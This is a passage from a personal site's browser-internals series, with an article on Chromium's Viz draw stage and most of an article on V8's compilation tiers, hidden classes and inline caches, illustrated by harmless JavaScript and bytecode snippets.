  > "Every web document has four separate property trees: transform, clip, effect, and scroll."
- **Chromium: Life of a Frame** — [chromium.googlesource.com](https://chromium.googlesource.com/chromium/src/+/lkgr/docs/life_of_a_frame.md)
- **Chromium: Viz Architecture** — [chromium.googlesource.com](https://chromium.googlesource.com/chromium/src/+/main/components/viz/README.md)
- **W3C: CSS Compositing and Blending Level 1** — [w3.org](https://www.w3.org/TR/compositing-1/)
- **web.dev: Stick to Compositor-Only Properties** — [web.dev](https://web.dev/articles/stick-to-compositor-only-properties-and-manage-layer-count)

---

## Critical Rendering Path: Draw

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/critical-rendering-path/crp-draw
**Category:** Browser & Runtime Internals / Critical Rendering Path
**Description:** The Draw stage is the final phase of the browser’s rendering pipeline. The Viz process (Visuals) in Chromium takes abstract compositor frames—consisting of render passes and draw quads—and translates them into low-level GPU commands to produce actual pixels on the display.

# Critical Rendering Path: Draw

The Draw stage is the final phase of the browser's rendering pipeline. The Viz process (Visuals) in Chromium takes abstract compositor frames—consisting of render passes and draw quads—and translates them into low-level GPU commands to produce actual pixels on the display.

<figure>

![The Viz architecture: Aggregating frames from multiple renderer processes and translating them into hardware-accelerated drawing commands.](./the-viz-architecture-aggregating-frames-from-multiple-renderer-processes-and-tra.svg)

<figcaption>The Viz architecture: Aggregating frames from multiple renderer processes and translating them into hardware-accelerated drawing commands.</figcaption>

</figure>

## Abstract

The Draw stage exists to solve a fundamental problem: multiple isolated renderer processes (main page, cross-origin iframes, browser UI) each produce independent compositor frames, but the display requires a single, coherent image.

<figure>

![Multiple frame sources converge in Viz to produce a single aggregated output.](./multiple-frame-sources-converge-in-viz-to-produce-a-single-aggregated-output.svg)

<figcaption>Multiple frame sources converge in Viz to produce a single aggregated output.</figcaption>

</figure>

**Core mental model:**

- **Aggregation**: Surface Aggregator recursively walks surface references, merging frames from all sources into one compositor frame
- **Translation**: Abstract draw quads become Skia API calls, which translate to Vulkan/Metal/D3D commands
- **Optimization**: Overdraw removal, quad batching, and hardware overlays minimize GPU work
- **Timing**: BeginFrame signals from VSync drive the entire pipeline; missed deadlines cause dropped frames

The key insight: Viz operates in a separate GPU process. This isolation means GPU driver crashes don't take down the browser, and the aggregation logic handles missing frames gracefully—using stale frames or solid colors rather than blocking.

---

## The Viz Process Architecture

Viz runs in the GPU process and serves as Chromium's central display compositor. It receives compositor frames from multiple sources and produces the final screen output.

**Two-Thread Design:**

| Thread                        | Responsibility                                                           | Why Separate                                             |
| ----------------------------- | ------------------------------------------------------------------------ | -------------------------------------------------------- |
| **GPU Main Thread**           | Rasterizes display lists into GPU texture tiles; draws compositor frames | Rasterization and drawing both compete for GPU resources |
| **Display Compositor Thread** | Aggregates frames from all processes; optimizes compositing              | Prevents rasterization from blocking frame presentation  |

This separation prevents a bottleneck where slow rasterization delays frame presentation. The display compositor thread can present frames from the active tree while the GPU main thread rasterizes pending tiles.

**Process Isolation Rationale:**

> **Prior to Viz**: The GPU process handled both rasterization and compositing in a tightly coupled manner. GPU driver bugs could destabilize the entire browser. Crashes during complex WebGL operations would terminate all tabs.

Modern Viz provides:

1. **Crash isolation**: GPU driver crashes terminate only the Viz process; renderers survive and can reconnect
2. **Security boundary**: Renderers never access GPU APIs directly—all commands go through Viz
3. **Resource management**: Viz controls GPU memory allocation across all tabs, preventing runaway consumption

---

## Multi-Process Frame Aggregation

A single web page often comprises elements from multiple renderer processes. A page with two cross-origin iframes involves three renderer processes, each producing independent compositor frames.

### The Surface Abstraction

Viz uses **Surfaces** to manage the frame hierarchy. Each surface represents a compositable unit that can receive frames.

- **SurfaceId**: Unique identifier generated by SurfaceManager; used to issue frames or reference other surfaces for embedding
- **FrameSink**: Interface through which renderers submit compositor frames to Viz
- **LocalSurfaceId**: Monotonically increasing identifier that ensures frames are processed in order

### The Aggregation Algorithm

The Surface Aggregator implements a recursive, nearly stateless algorithm:

```
1. Start with the most recent eligible frame from the display's root surface
2. Iterate through quads in draw order, tracking current clip and transform
3. For each quad:
   - If NOT a surface reference → output directly to aggregated frame
   - If IS a surface reference:
     a. Find the most recent eligible frame for that surface
     b. If no frame exists OR cycle detected → skip (use fallback)
     c. Otherwise → recursively apply this algorithm
4. Output the aggregated compositor frame
```

**Resilience Pattern**: If an iframe's frame hasn't arrived, Viz uses a previous frame or solid color. This prevents the entire page from stuttering due to one slow process—critical for maintaining 60fps with site-isolated iframes.

**Edge Case—Cycle Detection**: Surface references can theoretically form cycles (A embeds B embeds A). The aggregator tracks visited surfaces and breaks cycles by skipping already-visited references.

**Memory Pressure**: Under memory constraints, Viz may evict old frames from surfaces. When this happens, the surface falls back to a solid color until a new frame arrives.

---

## The Draw Quad Pipeline

A compositor frame is not a bitmap—it's a structured description of what to draw.

### Frame Structure

```
CompositorFrame
├── RenderPass (root - drawn last)
│   ├── DrawQuad (TextureDrawQuad: rasterized tile)
│   ├── DrawQuad (SolidColorDrawQuad: background)
│   └── DrawQuad (SurfaceDrawQuad: embedded iframe)
├── RenderPass (effect pass - intermediate texture)
│   └── DrawQuad (content for blur effect)
└── metadata (device scale, damage rect, etc.)
```

### Render Passes

A **Render Pass** is a set of quads drawn into a target (the screen or an intermediate texture). Multiple passes enable layered effects:

| Use Case                | Why Intermediate Pass Required                                    |
| ----------------------- | ----------------------------------------------------------------- |
| `filter: blur()`        | Must render content to texture, then apply blur kernel            |
| `opacity` on group      | Children blend with each other, then group blends with background |
| `mix-blend-mode`        | Requires reading pixels from underlying content                   |
| Clip on rotated content | Non-axis-aligned clips require stencil/mask operations            |

**Performance Implication**: Each render pass adds GPU overhead (texture allocation, state changes, draw calls). Complex CSS effects that require intermediate passes are more expensive than compositor-only transforms.

### Draw Quad Types

| Quad Type            | Purpose                                          | Typical Source               |
| -------------------- | ------------------------------------------------ | ---------------------------- |
| `TextureDrawQuad`    | Rasterized tile with position transform          | Tiled layer content          |
| `SolidColorDrawQuad` | Color fill without texture backing               | Backgrounds, fallbacks       |
| `SurfaceDrawQuad`    | Reference to another surface by SurfaceId        | Embedded iframes, browser UI |
| `VideoDrawQuad`      | Video frame (often promoted to hardware overlay) | `<video>` elements           |
| `TileDrawQuad`       | Single tile of a tiled layer                     | Large scrolling content      |
| `RenderPassDrawQuad` | Output of another render pass                    | Effect layers                |

Each quad carries:

- **Geometry**: Transform matrix, destination rect, clip rect
- **Material properties**: Texture ID, color, blend mode
- **Layer information**: Sorting order for overlap resolution

---

## GPU Command Generation

Viz translates draw quads into GPU-native commands through Skia.

### The Translation Pipeline

```
DrawQuad (abstract)
    ↓
Skia API calls (SkCanvas::drawRect, drawImage, etc.)
    ↓
Skia backend (Ganesh or Graphite)
    ↓
GPU command buffer (Vulkan, Metal, D3D, OpenGL)
    ↓
GPU driver
    ↓
Hardware execution
```

### Skia's Role

Skia is the cross-platform 2D graphics library used by Chrome and Android. It abstracts GPU API differences:

- **Shader management**: Compiles and caches GPU shaders
- **State optimization**: Batches state changes to minimize GPU commands
- **Resource handling**: Manages textures, buffers, and GPU memory
- **Fallback paths**: Provides software rasterization when GPU unavailable

### Graphite: The Next Generation Backend

As of 2025, Chrome is transitioning from Ganesh (Skia's aging OpenGL-centric backend) to Graphite.

**Why Graphite exists:**

Ganesh accumulated technical debt:

- Originally designed for OpenGL ES with GL-centric assumptions
- Too many specialized code paths, making it hard to leverage modern graphics APIs
- Single-threaded command recording caused bottlenecks
- Shader compilation during browsing caused "shader jank"

**Graphite's design improvements:**

| Aspect        | Ganesh                         | Graphite                                      |
| ------------- | ------------------------------ | --------------------------------------------- |
| **Threading** | Single-threaded recording      | Independent recorders across multiple threads |
| **Overdraw**  | Software occlusion culling     | Depth buffer for 2D (hardware-accelerated)    |
| **Shaders**   | Dynamic compilation            | Pre-compiled at startup; unified pipelines    |
| **APIs**      | OpenGL-first, others bolted on | Metal/Vulkan/D3D12 native from the start      |

**Performance results (2025):**

- ~15% improvement on MotionMark 1.3 (MacBook Pro M3)
- Reduced frame drops due to shader compilation
- Lower power consumption from efficient GPU utilization

**Rollout status:**

- macOS (including Apple Silicon): Enabled by default
- Windows: Testing with Dawn's D3D11 backend
- Linux/Android: In development

---

## Optimization Strategies

### Overdraw Removal

If a quad is completely obscured by another opaque quad in front of it, Viz skips drawing it entirely.

**Why this matters**: Mobile devices are memory-bandwidth constrained. Drawing pixels that will be overwritten wastes precious GPU bandwidth. A common case: a full-screen opaque background covers all content below it—drawing that underlying content is pure waste.

**Graphite enhancement**: Uses GPU depth testing for 2D rendering. Each quad gets a depth value; the GPU's depth buffer automatically rejects overdraw at the hardware level, eliminating software occlusion calculations.

### Quad Batching

Drawing 100 small quads separately is expensive due to GPU state change overhead (bind texture, set shader, draw, repeat). Batching combines similar quads into fewer draw calls.

**Batching requirements:**

- Same texture (or atlas)
- Same blend mode
- Same shader
- Compatible transforms (can be batched via instancing)

**Real-world impact**: A page with many small icons benefits dramatically from texture atlasing and batching. Without batching: 100+ draw calls. With batching: potentially 1 draw call.

### Damage Tracking

Viz tracks which screen regions changed since the last frame (the "damage rect"). Unchanged regions may skip redrawing entirely.

**Partial swap**: Some platforms support `SwapBuffersWithDamage`, presenting only the damaged region to the compositor. This reduces memory bandwidth for small updates (e.g., blinking cursor).

---

## Hardware Overlays and Direct Scanout

The most efficient drawing is no drawing at all—at least not in the traditional sense.

### Direct Scanout

Normally, the browser renders to a buffer, and the system compositor (DWM on Windows, CoreAnimation on macOS) composites it with other windows. Direct Scanout bypasses this intermediate step.

**How it works:**

1. Browser produces a buffer meeting scanout requirements
2. Viz passes the buffer handle directly to the display controller
3. Display controller reads pixels straight from browser's buffer
4. No copy through system compositor

**Requirements for Direct Scanout:**

- Content pixel-aligned with screen
- No complex CSS effects (blend modes, non-integer opacity)
- Buffer format compatible with display hardware
- Full-screen or in a compatible overlay plane

### Hardware Overlays

For specific content types, the display hardware can composite without GPU involvement.

**Video overlay path:**

```
Platform decoder (VideoToolbox, MediaFoundation, VA-API)
    ↓
Platform-specific buffer (IOSurface, DXGI, AHardwareBuffer)
    ↓
Hardware overlay plane
    ↓
Display controller composites at scanout time
```

**Benefits:**

| Metric                       | Without Overlay                                   | With Overlay                |
| ---------------------------- | ------------------------------------------------- | --------------------------- |
| **Power (fullscreen video)** | 100%                                              | ~50% (macOS measurements)   |
| **GPU copies**               | Multiple (decode → texture → composite → present) | Zero (decode → overlay)     |
| **Latency**                  | +1 frame (GPU composite delay)                    | Minimal (direct to display) |

**Real-world constraint**: Overlays require the content to have no CSS effects applied. A `<video>` with `filter: blur(1px)` falls back to GPU compositing.

**Format requirements**: Overlay planes accept specific pixel formats (NV12, P010 for video). Content must match, or the browser falls back to GPU conversion.

---

## VSync and Frame Timing

The draw stage is strictly bound by the display's refresh rate through VSync (Vertical Synchronization).

### The BeginFrame Signal

Chromium uses a **BeginFrame** message to coordinate the entire pipeline:

```
OS VSync signal (every 16.6ms at 60Hz)
    ↓
Browser process receives VSync
    ↓
Browser sends BeginFrame to Viz
    ↓
Viz sends BeginFrame to compositor threads
    ↓
Compositor may trigger BeginMainFrame to main thread
    ↓
Pipeline work must complete before next VSync deadline
```

**Deadline enforcement**: If Viz doesn't receive a compositor frame by the VSync deadline, it presents the previous frame—a "dropped frame" visible as jank.

### Frame Timing Budget

At 60Hz, each frame has 16.67ms. At 120Hz, only 8.33ms.

| Stage             | Typical Budget (60Hz) |
| ----------------- | --------------------- |
| Input handling    | 0-2ms                 |
| JavaScript        | 0-6ms                 |
| Style/Layout      | 0-4ms                 |
| Paint/Composite   | 2-4ms                 |
| **Draw**          | 2-4ms                 |
| **Buffer margin** | 2-4ms                 |

**Edge case—variable refresh rate (VRR)**: Displays supporting FreeSync/G-Sync allow variable frame presentation timing. Viz can present frames as they're ready rather than waiting for fixed VSync intervals, reducing latency for interactive content.

### Platform-Specific VSync Handling

| Platform    | VSync Source                 | Notes                                                     |
| ----------- | ---------------------------- | --------------------------------------------------------- |
| **Windows** | DWM (Desktop Window Manager) | Queries timebase/interval on each SwapBuffers             |
| **macOS**   | CVDisplayLink                | Callback-driven; integrates with CoreAnimation            |
| **Linux**   | DRM/KMS                      | Direct kernel modesetting                                 |
| **Android** | Choreographer                | VSync callbacks via NDK; used for BeginFrame coordination |

---

## Triple Buffering

To maintain smoothness despite variable processing times, browsers use triple buffering.

### Buffer States

| Buffer | State      | Description                                   |
| ------ | ---------- | --------------------------------------------- |
| N      | **Front**  | Currently displayed on screen                 |
| N+1    | **Queued** | Waiting for next VSync to become front buffer |
| N+2    | **Back**   | Currently being rendered by GPU               |

### Trade-offs

| Aspect         | Double Buffering             | Triple Buffering                   |
| -------------- | ---------------------------- | ---------------------------------- |
| **Latency**    | Lower (1 frame)              | Higher (2 frames)                  |
| **Throughput** | Limited by slowest stage     | Decoupled; render-ahead allowed    |
| **Jank**       | VSync miss = full frame drop | VSync miss = still present a frame |
| **Memory**     | 2 × framebuffer              | 3 × framebuffer                    |

**Design rationale**: Triple buffering allows the GPU to always have work queued. Without it, if frame N+1 isn't ready at VSync, the GPU idles. Triple buffering means frame N+2 can start immediately, keeping the GPU busy.

**Input latency concern**: A frame rendered now appears 2 VSync intervals later. At 60Hz, that's 33ms of inherent latency. High-refresh-rate displays (120Hz+) reduce this to acceptable levels (16ms).

---

## Failure Modes and Edge Cases

### Frame Drops

**Causes:**

1. **Main thread blocked**: Long JavaScript task delays BeginMainFrame response
2. **Rasterization backlog**: Too many tiles pending; pending tree can't activate
3. **GPU saturation**: Complex shaders or excessive draw calls exceed frame budget
4. **Memory pressure**: Tile eviction forces re-rasterization

**Detection**: Chrome's Frame Timing API exposes `PerformanceFrameTiming` entries showing frame presentation times. Gaps larger than expected VSync interval indicate drops.

### Tearing

Occurs when the display reads from a buffer while the GPU is still writing to it.

**Prevention**: VSync ensures buffer swap only during vertical blanking interval. Direct Scanout requires stricter synchronization—the display controller fence must signal completion before GPU writes to the buffer.

### Checkerboarding

When scrolling reveals un-rasterized tiles, the browser shows a checkerboard pattern (or solid color) as a placeholder.

**Mitigation strategies:**

1. **Tile priority**: Visible tiles rasterize first; off-screen tiles at lower priority
2. **Overscroll buffering**: Rasterize beyond visible viewport
3. **Async scroll**: Compositor scrolls immediately; main thread catches up

---

## Conclusion

The Draw stage represents the culmination of the RenderingNG pipeline. By decoupling frame production (renderers) from frame presentation (Viz), modern browsers achieve resilience and performance that enables smooth 120Hz experiences even on complex, multi-process web applications.

The key architectural decisions—process isolation for Viz, surface aggregation for multi-process composition, hardware overlays for power efficiency, triple buffering for throughput—each represent deliberate trade-offs optimized for the web's unique constraints: untrusted content, cross-origin isolation, and the expectation of 60fps on diverse hardware.

---

## Appendix

### Prerequisites

- Understanding of the **[Rendering Pipeline Overview](../crp-rendering-pipeline-overview/README.md)**
- Understanding of the **[Compositing Stage](../crp-composit/README.md)**
- Basic knowledge of GPU architecture (shaders, textures, command buffers)

### Terminology

| Term                 | Definition                                                                      |
| -------------------- | ------------------------------------------------------------------------------- |
| **Viz (Visuals)**    | Chromium service responsible for frame aggregation and GPU display              |
| **Compositor Frame** | Unit of data submitted by a renderer to Viz, containing render passes and quads |
| **Surface**          | Compositable unit that can receive compositor frames, identified by SurfaceId   |
| **FrameSink**        | Interface through which renderers submit frames to Viz                          |
| **Draw Quad**        | Rectangular drawing primitive (e.g., texture tile, video frame, solid color)    |
| **Render Pass**      | Set of quads drawn to a target (screen or intermediate texture)                 |
| **VSync**            | Synchronization of frame presentation with monitor's refresh rate               |
| **Direct Scanout**   | Optimization where display reads directly from browser's buffer                 |
| **Hardware Overlay** | Display plane that composites at scanout without GPU involvement                |
| **Skia**             | Cross-platform 2D graphics library used by Chrome and Android                   |
| **Graphite**         | Next-generation Skia backend optimized for modern GPU APIs                      |

### Summary

- **Viz process** aggregates compositor frames from all renderer processes into a single display output
- **Surface Aggregator** recursively walks surface references, handling missing frames gracefully
- **Draw quads** are abstract primitives translated through Skia to GPU commands
- **Graphite** (2025+) replaces Ganesh with multithreaded recording and hardware depth testing
- **Hardware overlays** bypass GPU compositing for video, cutting power consumption by ~50%
- **Triple buffering** trades latency for throughput, preventing jank from variable processing times
- **VSync coordination** via BeginFrame ensures frame presentation aligns with display refresh

### References

- **Chromium Design Docs**: [Viz Architecture](https://chromium.googlesource.com/chromium/src/+/main/components/viz/README.md) — Authoritative Viz documentation
- **Chromium Design Docs**: [Surfaces](https://www.chromium.org/developers/design-documents/chromium-graphics/surfaces/) — Surface abstraction and aggregation
- **Chrome Developers**: [RenderingNG Architecture](https://developer.chrome.com/docs/chromium/renderingng-architecture) — Pipeline overview
- **Chrome Developers**: [RenderingNG Data Structures](https://developer.chrome.com/docs/chromium/renderingng-data-structures) — Frame and quad structures
- **Chrome Developers**: [VideoNG Deep-Dive](https://developer.chrome.com/docs/chromium/videong) — Hardware overlay implementation
- **Chromium Source**: [Life of a Frame](https://chromium.googlesource.com/chromium/src/+/lkgr/docs/life_of_a_frame.md) — End-to-end frame timing
- **Chromium Source**: [How cc Works](https://chromium.googlesource.com/chromium/src/+/main/docs/how_cc_works.md) — Compositor internals
- **Chromium Blog**: [Introducing Skia Graphite](https://blog.chromium.org/2025/07/introducing-skia-graphite-chromes.html) — Graphite architecture and rollout
- **HTML Specification**: [Update the Rendering](https://html.spec.whatwg.org/multipage/webappapis.html#event-loop-processing-model) (Step 15.11)
- **W3C**: [Frame Timing API](https://w3c.github.io/frame-timing/) — Frame presentation timing specification

---

## V8 Engine Architecture: Parsing, Optimization, and JIT

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/js-runtime-internals/v8-engine-architecture
**Category:** Browser & Runtime Internals / JavaScript Runtime Internals
**Description:** V8’s multi-tiered compilation pipeline—Ignition interpreter through TurboFan optimizer—achieves near-native JavaScript performance while maintaining language dynamism. This analysis covers the four-tier architecture (as of V8 12.x / Chrome 120+), the runtime’s hidden class and inline caching systems that enable speculative optimization, and the Orinoco garbage collector’s parallel/concurrent strategies.

# V8 Engine Architecture: Parsing, Optimization, and JIT

V8's multi-tiered compilation pipeline—Ignition interpreter through TurboFan optimizer—achieves near-native JavaScript performance while maintaining language dynamism. This analysis covers the four-tier architecture (as of V8 12.x / Chrome 120+), the runtime's hidden class and inline caching systems that enable speculative optimization, and the Orinoco garbage collector's parallel/concurrent strategies.

<figure>

![V8's four-tier compilation pipeline with tier-up thresholds and feedback-driven optimization](./v8-s-four-tier-compilation-pipeline-with-tier-up-thresholds-and-feedback-driven-.svg)

<figcaption>V8's four-tier compilation pipeline with tier-up thresholds and feedback-driven optimization</figcaption>

</figure>

## Abstract

V8 solves the fundamental tension in dynamic language execution: achieving static-language performance without sacrificing JavaScript's runtime flexibility. The architecture's core insight is **speculative optimization**—assume code behaves predictably based on observed patterns, optimize aggressively for that assumption, and have a safe bailout path when assumptions fail.

**The four-tier pipeline** balances compilation cost against execution speed:

| Tier      | Compilation Speed | Execution Speed     | Trigger     |
| --------- | ----------------- | ------------------- | ----------- |
| Ignition  | Instant           | Slow (~100x native) | Always      |
| Sparkplug | ~10μs/function    | Moderate            | ~8 calls    |
| Maglev    | ~100μs/function   | Fast                | ~500 calls  |
| TurboFan  | ~1ms/function     | Near-native         | ~6000 calls |

**The runtime system** makes speculation viable through:

- **Hidden Classes (Maps)**: Transform dynamic property access into fixed-offset memory loads
- **Inline Caches (ICs)**: Track which object shapes appear at each property access site
- **FeedbackVector**: Store IC data separately from code, enabling safe speculation

**The optimization contract**: If an IC site is monomorphic (single shape), TurboFan generates a fast path with a single map check + direct load. If polymorphic (2-4 shapes), it generates a linear chain of checks. If megamorphic (>4 shapes), optimization is abandoned for that site.

**Deoptimization** is the safety net—when speculation fails at runtime, V8 reconstructs the interpreter frame and resumes in Ignition. This makes aggressive optimization safe because incorrect speculation never produces wrong results, only slower execution.

**Orinoco GC** applies the generational hypothesis (most objects die young) with parallel young-generation collection and concurrent old-generation marking, achieving sub-millisecond pause times in typical workloads.

## The Core Trade-off

JIT (Just-In-Time) compilers face an inherent tension: compilation time steals from execution time. Spending 100ms optimizing a function that runs once wastes 100ms. Spending 0ms optimizing a function that runs a million times wastes cycles on every iteration.

V8's answer is **tiered compilation**—start executing immediately with minimal compilation cost, then progressively recompile hot code with increasing optimization levels. Each tier represents a different point on the compilation-time vs. execution-speed curve.

The key insight enabling this architecture: **JavaScript code exhibits predictable patterns despite being dynamically typed**. Objects created by the same constructor tend to have the same shape. Functions called repeatedly tend to receive the same types. Property accesses at a given source location tend to hit the same object layouts.

V8's runtime system—hidden classes and inline caches—captures these patterns as they emerge during execution. The optimizing compilers then treat this observed behavior as ground truth for speculation, with deoptimization as the safety net when reality diverges from expectation.

## Parsing: Source to Bytecode

Before execution, V8 transforms JavaScript source into bytecode—the canonical representation consumed by all subsequent tiers.

### Scanner and Tokenizer

The scanner consumes UTF-16 source characters and emits tokens—identifiers, operators, literals, keywords. This is a straightforward lexical analysis pass.

### Parser and AST Generation

The parser consumes tokens and builds an Abstract Syntax Tree (AST). V8's parser is hand-written (not generated) for performance and JavaScript's context-sensitive grammar requirements.

### Lazy Parsing: The Startup Optimization

**The problem**: Parsing is expensive. A typical web page loads megabytes of JavaScript, but most functions are never called during initial page render.

**The solution**: V8 employs a two-pass strategy:

1. **Pre-parser (fast pass)**: Identifies function boundaries and validates syntax without building full AST nodes. Runs at ~2x the speed of full parsing.

2. **Full parser (deferred)**: Builds complete AST only when a function is first called.

<figure>

![Lazy parsing defers full AST construction until function invocation](./lazy-parsing-defers-full-ast-construction-until-function-invocation.svg)

<figcaption>Lazy parsing defers full AST construction until function invocation</figcaption>

</figure>

**Edge case—inner functions**: When an outer function is compiled, its inner functions are pre-parsed. If the outer function references variables from an inner function's closure, the pre-parser must track this without building full AST nodes. This is a significant source of parser complexity.

**Trade-off**: Lazy parsing saves startup time but creates a "double parse" cost when functions are eventually called. For functions that will definitely be called immediately, this is wasted work. Chrome 136+ introduces explicit compile hints (`//# allFunctionsCalledOnLoad`) to let developers signal which functions should be eagerly compiled, moving parsing to background threads.

## Ignition: The Interpreter Foundation

Ignition is V8's bytecode interpreter—the first execution tier and the foundation for all subsequent optimization.

### Register Machine Architecture

Ignition uses a **register-based** design (not stack-based like the JVM). Bytecode instructions operate on virtual registers (`r0`, `r1`, etc.) with a dedicated **accumulator** register that serves as an implicit operand for most operations.

**Why registers over stack?** Register machines produce shorter bytecode sequences because operations don't need explicit stack manipulation. The accumulator pattern further compresses bytecode—common operation chains like `a + b - c` keep intermediate results in the accumulator without explicit stores.

### Bytecode Generation

The BytecodeGenerator traverses the AST and emits V8 bytecode. Consider:

```javascript
function incrementX(obj) {
  return 1 + obj.x
}
```

Generated bytecode:

```plain
LdaSmi [1]                      // Load Small Integer 1 → accumulator
Star0                           // Store accumulator → r0
GetNamedProperty a0, [0], [0]   // Load obj.x → accumulator (feedback slot 0)
Add r0, [1]                     // r0 + accumulator → accumulator (feedback slot 1)
Return                          // Return accumulator
```

The bracketed indices (`[0]`, `[1]`) reference slots in the FeedbackVector—this is how Ignition records type information for the optimizing compilers.

### CodeStubAssembler: Cross-Platform Handler Generation

Bytecode handlers (the machine code implementing each instruction) are written in **CodeStubAssembler (CSA)**—a platform-independent C++ DSL that TurboFan compiles to native code for each architecture. This means improvements to TurboFan's backend automatically accelerate the interpreter.

At runtime, the interpreter dispatch loop:

1. Fetches the next bytecode from BytecodeArray
2. Indexes into a global dispatch table
3. Jumps to the handler's machine code

This indirect-threaded dispatch costs ~10-15 cycles per bytecode on modern CPUs.

## Hidden Classes and Inline Caching: The Runtime Foundation

The entire speculative optimization strategy depends on the runtime system's ability to observe predictable patterns in dynamic code. Two mechanisms make this possible.

### Hidden Classes (Maps)

JavaScript objects are dynamic—properties can be added or deleted at any time. A naive implementation requires hash table lookups for every property access (~100+ cycles). V8's insight: most objects in practice have stable, predictable shapes.

**The solution**: Associate every object with a **Hidden Class** (internally called a **Map**). The Map describes:

- Which properties exist
- Their types (where known)
- Their memory offsets within the object

Property access becomes:

1. Load the object's Map pointer (1 instruction)
2. Compare against expected Map (1 instruction)
3. Load from fixed offset (1 instruction)

This transforms O(n) hash lookups into O(1) offset loads.

<figure>

![Object memory layout with Map pointer and fixed-offset properties](./object-memory-layout-with-map-pointer-and-fixed-offset-properties.svg)

<figcaption>Object memory layout with Map pointer and fixed-offset properties</figcaption>

</figure>

### Map Transitions: Shape Evolution

Maps form a **transition tree**. When properties are added, V8 follows (or creates) transitions to new Maps:

```javascript
const obj = {} // Map M0: empty
obj.x = 1 // Map M1: {x} (transition from M0)
obj.y = 2 // Map M2: {x, y} (transition from M1)
```

**Critical implication**: Property addition order matters.

```javascript
const a = {}
a.x = 1
a.y = 2 // Map path: M0 → M1(x) → M2(x,y)
const b = {}
b.y = 1
b.x = 2 // Map path: M0 → M3(y) → M4(y,x)
```

Objects `a` and `b` have different Maps despite identical property sets. A function optimized for `a`'s Map will deoptimize when passed `b`.

**Best practice**: Initialize all properties in constructors, in consistent order.

### Inline Caches and FeedbackVector

**Inline Caches (ICs)** track which Maps appear at each property access site. The data is stored in a per-function **FeedbackVector**—a separate array with slots for each IC site.

As Ignition executes, it populates FeedbackVector slots with observed Maps. This separation of feedback from code is deliberate—it enables sharing optimized code across closures while maintaining per-closure type information.

### IC States: Quantifying Predictability

| State             | Shapes Seen | Access Cost   | Optimization Impact                            |
| ----------------- | ----------- | ------------- | ---------------------------------------------- |
| **Uninitialized** | 0           | N/A           | No feedback yet                                |
| **Monomorphic**   | 1           | ~3 cycles     | Ideal—single map check + direct load           |
| **Polymorphic**   | 2-4         | ~10-20 cycles | Linear chain of map checks                     |
| **Megamorphic**   | >4          | ~100+ cycles  | Global stub cache; often prevents optimization |

**The megamorphic cliff**: When an IC exceeds 4 shapes, V8 abandons local caching and falls back to a global hashtable. Performance degrades 10-50x, and TurboFan typically refuses to optimize the containing function.

**Real-world example**: A function processing heterogeneous API responses where each endpoint returns differently-shaped objects will quickly go megamorphic. Solutions include normalizing shapes early or splitting into shape-specific functions.

## Sparkplug: The Baseline JIT

Introduced in Chrome 91 (2021), Sparkplug bridges the performance gap between interpretation and optimization.

### Design Philosophy

Sparkplug optimizes for **compilation speed**, not execution speed. Its entire compiler is essentially "a switch statement inside a for loop":

1. For each bytecode instruction
2. Emit the corresponding machine code template
3. No analysis, no optimization, no IR

**Tier-up trigger**: ~8 invocations, no feedback required.

### Key Design Decisions

**Compiles from bytecode, not source**: Sparkplug reuses all the work the parser and BytecodeGenerator already did. This is why it's fast—most of the "compilation" already happened.

**No Intermediate Representation**: Unlike optimizing compilers that build graphs for analysis, Sparkplug generates machine code directly in a single linear pass. Complex operations emit calls to pre-compiled builtins.

**Interpreter-compatible frame layout**: Sparkplug uses the same stack frame structure as Ignition. This enables trivial On-Stack Replacement (OSR)—mid-execution switches between tiers require no frame reconstruction.

### Performance Characteristics

Compilation: ~10μs per function (orders of magnitude faster than TurboFan's ~1ms)
Execution: ~30-50% faster than Ignition interpretation

Sparkplug's value is in eliminating interpreter dispatch overhead. The generated code still performs all the same runtime checks—it's just native code doing it instead of bytecode handlers.

**Trade-off**: Sparkplug code is larger than bytecode and less efficient than optimized code. For short-lived or rarely-called functions, Ignition's lower memory footprint may be preferable. V8's heuristics handle this automatically.

## Maglev: The Mid-Tier Optimizer

Introduced in Chrome 117 (2023), Maglev closes the compilation-speed vs. execution-speed gap between Sparkplug and TurboFan.

### Why a Mid-Tier?

The Ignition/TurboFan gap was too wide. TurboFan produces excellent code but takes ~1ms to compile. For functions that run hundreds of times but not thousands, TurboFan's compilation cost exceeds its benefits. Maglev compiles ~10x faster than TurboFan while producing code ~2x faster than Sparkplug.

**Tier-up trigger**: ~500 invocations with stable feedback. If feedback changes (new shapes appear), the counter resets.

### Architecture: CFG over Sea of Nodes

Maglev deliberately uses a traditional SSA (Static Single-Assignment) CFG (Control-Flow Graph) rather than TurboFan's Sea of Nodes IR. The V8 team found that for JavaScript's heavily effectful operations, Sea of Nodes' theoretical advantages didn't materialize in practice—most nodes ended up chained together anyway.

The CFG approach provides:

- **Faster compilation**: No complex graph scheduling
- **Easier debugging**: Linear control flow is human-readable
- **Simpler implementation**: Traditional compiler textbook techniques apply directly

### Optimization Capabilities

**Feedback-driven specialization**: Maglev consumes FeedbackVector data to emit specialized code. A property access `o.x` with monomorphic feedback becomes a map check + direct offset load.

**Representation selection**: Numbers can be unboxed to raw machine integers/floats in registers, avoiding heap allocation overhead for arithmetic-heavy code.

**Inlining**: Limited function inlining for small, hot callees.

**What Maglev skips**: Loop unrolling, escape analysis, advanced load elimination—these are TurboFan's domain.

### Performance Impact

V8 benchmarks (2023):

- JetStream 2: +8.2%
- Speedometer 2: +6%
- Energy consumption: -10%

For typical web workloads, Maglev handles most optimization needs. TurboFan activates only for genuinely hot loops and compute-intensive functions.

## TurboFan: The Top-Tier Optimizer

TurboFan generates the fastest possible code for hot functions. It's expensive—~1ms compilation time—but produces code that approaches native performance.

**Tier-up trigger**: ~6000 invocations with stable feedback.

### The Sea of Nodes IR (Historical)

TurboFan was built on **Sea of Nodes (SoN)**—an IR where nodes represent operations and edges represent dependencies (data, control, and effect). Unlike CFG-based IRs, nodes without dependency chains are "free-floating," theoretically enabling aggressive reordering and optimization.

**Why it seemed like a good idea**: SoN works excellently for static languages like Java (where it originated). Pure operations can float freely, enabling powerful global optimizations.

**Why it failed for JavaScript**: In JavaScript, almost every operation is potentially effectful—property access can trigger getters, operators can call `valueOf()`. This forced most nodes onto the effect chain, which effectively recreated CFG constraints anyway.

The result:

- Graphs were difficult to read and debug
- Poor cache locality (nodes scattered in memory)
- Compilation was ~2x slower than CFG approaches
- Optimizations requiring control-flow reasoning became harder, not easier

### Turboshaft: The CFG Replacement

